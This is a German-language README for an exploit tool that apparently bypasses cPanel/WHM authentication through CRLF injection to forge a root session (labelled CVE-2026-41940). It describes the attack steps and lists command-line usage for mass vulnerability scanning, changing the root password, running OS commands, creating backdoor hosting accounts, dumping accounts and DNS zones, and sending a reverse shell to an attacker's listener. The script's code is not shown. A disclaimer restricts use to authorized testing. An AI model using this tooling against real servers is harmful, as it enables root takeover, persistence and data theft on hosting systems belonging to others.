
cPanel/WHM Authentifizierungsumgehung (Zero-Day-Sicherheitslücke)
Haftungsausschluss: Dieses Dokument und das zugehörige Skript (
exploit.py) dienen ausschließlich zu Bildungszwecken, Sicherheitsforschung und autorisierten Penetrationstests. Verwenden Sie diese Software nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
exploit.py ist ein Skript, das eine Authentifizierungsumgehungsschwachstelle (CVE-2026-41940) in cPanel & WHM demonstriert. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, eine Root-Sitzung in den Daemon-Cache einzuschleusen, indem eine CRLF-Injection-Schwachstelle ausgenutzt wird, was letztendlich Root-Level-WHM-Zugriff ohne gültige Anmeldeinformationen gewährt.
Der Exploit nutzt eine CRLF (Carriage Return Line Feed)-Injection-Schwachstelle im Basic-Authentifizierungsmechanismus in Kombination mit einem Sitzungsweitergabefehler aus. Das Skript automatisiert den Angriff in vier Schritten:
/login/ oder ), um eine grundlegende nicht authentifizierte Sitzungscookie () zu erhalten./cgi/login.cgiwhostmgrsessioncpsrvd-Sitzungs-Cache injiziert. Die Weiterleitungsantwort des Servers gibt das generierte Sicherheitstoken (cpsess) preis.do_token_denied ausgelöst wird, um die gefälschte Sitzung in den Daemon-Cache zu propagieren – wodurch sie zu einer gültigen authentifizierten Sitzung wird./json-api/version) mit der gefälschten Sitzung zu, um den Root-Level-Zugriff zu bestätigen.requests-Bibliothekpip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Beschreibung |
|---|---|
--target URL | Einzelne WHM-URL (z. B. https://target:2087) |
--target-file FILE | Datei mit Zielen (eine ip:port pro Zeile) – aktiviert automatisch den Prüfmodus |
| Argument | Beschreibung |
|---|---|
--threads N | Gleichzeitige Threads für den Mehrfachziel-Modus (Standard: 10) |
--hostname HOST | Überschreibt den Host-Header – verwenden, wenn die automatische Erkennung fehlschlägt oder einen falschen Hostnamen liefert |
--timeout N | Timeout pro Anfrage in Sekunden (Standard: 15) |
--retries N | Anzahl der Wiederholungsversuche bei Netzwerkfehlern (Standard: 3) |
--cookie-name NAME | Erzwingt einen bestimmten Sitzungscookie-Namen (wird bei Auslassung automatisch erkannt) |
--no-verify | Überspringt die Überprüfung in Phase 4 und fährt trotzdem fort |
| Argument | Beschreibung |
|---|---|
--check | Nur-Prüfmodus – Schwachstelle überprüfen, ohne auszunutzen (wird automatisch mit --target-file gesetzt) |
--password PASS | Ändert das Root-Passwort in PASS |
--api FUNC | Ruft eine bestimmte WHM JSON-API-Funktion auf |
--api-params K=V,... | Kommagetrennte Parameter für --api |
--exec CMD | Führt einen Betriebssystembefehl über WHM scripts/run_script aus (Fallback: rawexec) |
--session | Generiert eine Root-Ein-Klick-Login-URL – sofort öffnen, Token läuft schnell ab |
--shell | Startet eine interaktive WHM-Shell (nur Einzelziel) |
--dump | Gibt Serverinformationen aus: Version, Konten, DNS-Zonen, Berechtigungen |
--add-user USER PASS DOMAIN | Erstellt ein neues cPanel-Hosting-Konto |
--revshell LHOST LPORT | Sendet eine Bash-Reverse-Shell an Ihren Listener |
| Argument | Beschreibung |
|---|---|
--output FILE | Speichert Sitzungstoken und Details in einer JSON-Datei |
# Überprüfen, ob das Ziel verwundbar ist
python exploit.py --target https://target:2087 --check
# Serverinformationen ausgeben (Version, Konten, Berechtigungen)
python exploit.py --target https://target:2087 --dump
# Ein-Klick-Root-Login-URL generieren (sofort im Browser einfügen)
python exploit.py --target https://target:2087 --session
# Einen Befehl ausführen
python exploit.py --target https://target:2087 --exec "id"
# In eine interaktive WHM-Shell wechseln
python exploit.py --target https://target:2087 --shell
# Root-Passwort ändern
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# WHM-API direkt aufrufen
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Ein Hintertür-cPanel-Konto erstellen
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Reverse-Shell senden
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Hostnamen überschreiben (verwenden, wenn die automatische Erkennung fehlschlägt)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Mehrere Ziele scannen (Nur-Prüfmodus)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Sitzung in Datei speichern
python exploit.py --target https://target:2087 --dump --output results.json
Bei Verwendung von --shell stehen folgende Befehle zur Verfügung:
| Befehl | Beschreibung |
|---|---|
api <function> [k=v ...] | Ruft eine WHM JSON-API-Funktion auf (z. B. api version) |
exec <command> | Führt einen Betriebssystembefehl über WHM aus (z. B. exec id) |
passwd <newpass> | Ändert das Root-Passwort |
dump | Gibt Serverinformationen aus |
revshell <lhost> <lport> | Sendet eine Reverse-Shell |
add <user> <pass> <domain> | Erstellt ein cPanel-Konto |
save <path> | Speichert die aktuelle Sitzung in einer Datei |
exit / quit | Beendet die Shell |
Aktualisieren Sie sofort die neuesten cPanel/WHM-Sicherheitspatches.